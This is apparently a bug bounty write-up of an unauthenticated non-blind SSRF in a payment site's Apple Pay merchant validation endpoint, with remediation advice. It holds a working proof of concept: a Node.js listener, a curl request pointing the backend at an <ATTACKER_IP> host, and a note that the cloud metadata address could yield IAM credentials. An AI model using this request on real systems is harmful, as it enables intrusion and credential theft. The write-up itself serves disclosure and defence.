July 10, 2026
Bug Bounty — Pwning Payment Gateways: Unauthenticated Non-Blind SSRF via Apple Pay Merchant…
Hello, hackers! In this writeup, I am thrilled to share a recent high-impact finding: an unauthenticated, non-blind Server-Side Request…

By Kenjisubagja
3 min read
Hello, hackers! In this writeup, I am thrilled to share a recent high-impact finding: an unauthenticated, non-blind Server-Side Request Forgery (SSRF) vulnerability. This flaw was hidden in plain sight within a web application's Apple Pay merchant validation flow.
Because the endpoint returned the upstream HTTP response directly to the client, this wasn't just a blind ping — it was a full read/write SSRF primitive that allowed interaction with arbitrary external and potentially internal services.
To ensure responsible disclosure and protect the organization's infrastructure, all identifying details, domains, and specific identifiers have been redacted and replaced with target.com.
Understanding the Flaw
Apple Pay on the Web requires a "Merchant Validation" step. When a user starts an Apple Pay session, the frontend must request a merchant session object from the backend. The backend is supposed to authenticate with Apple's servers using a valid merchant certificate and request a session from a verified Apple Pay validation URL (e.g., [https://apple-pay-gateway.apple.com/](https://apple-pay-gateway.apple.com/)...).
During my assessment, I discovered an unauthenticated endpoint POST /api/v1/User/ApplePaySession. This endpoint accepted a caller-supplied URL in the request body and forced the backend to make a server-side POST request to that exact URL.
The critical mistake? The backend did not enforce any host allowlisting. It accepted arbitrary non-Apple hosts, plain HTTP URLs, custom ports, and raw IP addresses.
Proof of Concept (The Exploitation)
To prove the impact without probing the company's internal networks (which is dangerous and often out of scope), I set up an external listener on my VPS to catch the outbound request and reflect a custom JSON response.
1. Setting up the Attacker-Controlled Server
I created a simple Node.js server listening on a custom port (8080) to capture the incoming HTTP request from the target's backend and return a spoofed Apple Pay session payload.
// ssrf-reflect-proof.mjs
import http from "http";
http.createServer((req, res) => {
console.log("METHOD:", req.method);
console.log("URL:", req.url);
console.log("HEADERS:", req.headers);
let body = "";
req.on("data", chunk => body += chunk);
req.on("end", () => {
console.log("BODY:", body);
res.setHeader("Content-Type", "application/json");
res.end(JSON.stringify({
epochTimestamp: 123456789,
expiresAt: 1999999999,
merchantSessionIdentifier: "ssrf-proof-merchant-session-kenji",
nonce: "ssrf-proof-nonce-kenji",
merchantIdentifier: "ssrf-proof-merchant-kenji",
domainName: "ssrf-proof-domain-kenji.example",
displayName: "SSRF Proof Kenji",
signature: "ssrf-proof-signature-kenji"
}));
});
}).listen(8080, "0.0.0.0", () => {
console.log("Listening on :8080");
});// ssrf-reflect-proof.mjs
import http from "http";
http.createServer((req, res) => {
console.log("METHOD:", req.method);
console.log("URL:", req.url);
console.log("HEADERS:", req.headers);
let body = "";
req.on("data", chunk => body += chunk);
req.on("end", () => {
console.log("BODY:", body);
res.setHeader("Content-Type", "application/json");
res.end(JSON.stringify({
epochTimestamp: 123456789,
expiresAt: 1999999999,
merchantSessionIdentifier: "ssrf-proof-merchant-session-kenji",
nonce: "ssrf-proof-nonce-kenji",
merchantIdentifier: "ssrf-proof-merchant-kenji",
domainName: "ssrf-proof-domain-kenji.example",
displayName: "SSRF Proof Kenji",
signature: "ssrf-proof-signature-kenji"
}));
});
}).listen(8080, "0.0.0.0", () => {
console.log("Listening on :8080");
});2. Triggering the SSRF
Next, I sent an unauthenticated request to the target's ApplePaySession endpoint, supplying my VPS URL in the request body:
curl -sk -i -X POST "https://api.target.com/api/v1/User/ApplePaySession" \
-H 'Content-Type: application/json' \
--data '"http://<ATTACKER_IP>:8080/reflection-proof"'curl -sk -i -X POST "https://api.target.com/api/v1/User/ApplePaySession" \
-H 'Content-Type: application/json' \
--data '"http://<ATTACKER_IP>:8080/reflection-proof"'3. Analyzing the Server-Side Callback
Instantly, my VPS logged a POST request originating from the target's backend infrastructure. The backend leaked valuable internal application context headers and its own merchant metadata:
METHOD: POST
URL: /reflection-proof
HEADERS: {
host: '<ATTACKER_IP>:8080',
accept: 'application/json',
'request-context': 'appId=cid-v1:[REDACTED_UUID]',
'request-id': '|0d8e48c8e253a11c...7e900932651b532b.',
traceparent: '00-0d8e48c8e...-00',
'content-type': 'application/json; charset=utf-8',
'content-length': '138'
}
BODY:
{
"merchantIdentifier": "merchant.target.production",
"initiativeContext": "target.com",
"displayName": "Target Pay",
"initiative": "web"
}METHOD: POST
URL: /reflection-proof
HEADERS: {
host: '<ATTACKER_IP>:8080',
accept: 'application/json',
'request-context': 'appId=cid-v1:[REDACTED_UUID]',
'request-id': '|0d8e48c8e253a11c...7e900932651b532b.',
traceparent: '00-0d8e48c8e...-00',
'content-type': 'application/json; charset=utf-8',
'content-length': '138'
}
BODY:
{
"merchantIdentifier": "merchant.target.production",
"initiativeContext": "target.com",
"displayName": "Target Pay",
"initiative": "web"
}4. The Non-Blind Reflection
The most devastating part of this vulnerability was the API response. The target's backend successfully parsed the spoofed JSON from my VPS and relayed it back to my unauthenticated curl client:
HTTP/2 200 OK
content-type: application/json; charset=utf-8
request-context: appId=cid-v1:[REDACTED_UUID]
{
"epochTimestamp": 123456789,
"expiresAt": 1999999999,
"merchantSessionIdentifier": "ssrf-proof-merchant-session-kenji",
"nonce": "ssrf-proof-nonce-kenji",
"merchantIdentifier": "ssrf-proof-merchant-kenji",
"domainName": "ssrf-proof-domain-kenji.example",
"displayName": "SSRF Proof Kenji",
"signature": "ssrf-proof-signature-kenji"
}HTTP/2 200 OK
content-type: application/json; charset=utf-8
request-context: appId=cid-v1:[REDACTED_UUID]
{
"epochTimestamp": 123456789,
"expiresAt": 1999999999,
"merchantSessionIdentifier": "ssrf-proof-merchant-session-kenji",
"nonce": "ssrf-proof-nonce-kenji",
"merchantIdentifier": "ssrf-proof-merchant-kenji",
"domainName": "ssrf-proof-domain-kenji.example",
"displayName": "SSRF Proof Kenji",
"signature": "ssrf-proof-signature-kenji"
}This confirmed a full, non-blind SSRF. I could control the destination URL and read the exact response returned by that destination.
Security Impact
While I strictly limited my testing to my own external server, a non-blind SSRF in a production backend carries massive risks:
- Cloud Metadata Extraction: An attacker could potentially request
http://169.254.169.254/latest/meta-data/to extract highly privileged AWS IAM credentials or environment variables. - Internal Network Pivoting: The attacker could scan internal IP ranges, accessing private administrative dashboards, internal APIs, or databases that trust the backend's internal IP address.
- Information Disclosure: The outbound request leaked internal Azure/AppInsights telemetry headers (
request-context,traceparent) and production merchant identifiers.
Remediation
Securing the Apple Pay merchant validation flow requires strict input validation and access controls:
- Never trust client-supplied URLs for server-side requests.
- Implement a Strict Allowlist: The backend must parse the requested URL and ensure the domain exactly matches an Apple-owned domain (e.g.,
apple.com). - Enforce HTTPS: Reject any requests using the
http://scheme or raw IP addresses. - Network Level Defenses: Block egress traffic from the backend to loopback (
127.0.0.1), link-local (169.254.169.254), and internal network ranges (10.0.0.0/8, etc.). - Require Authentication: This endpoint should be locked behind a valid, authenticated user session tied to an active checkout process.
Conclusion
Integrating complex third-party payment flows often introduces hidden attack surfaces. This vulnerability serves as a stark reminder that user input must be scrutinized at every layer, especially when it dictates backend network behavior.
Keep testing, and always check those third-party integration endpoints!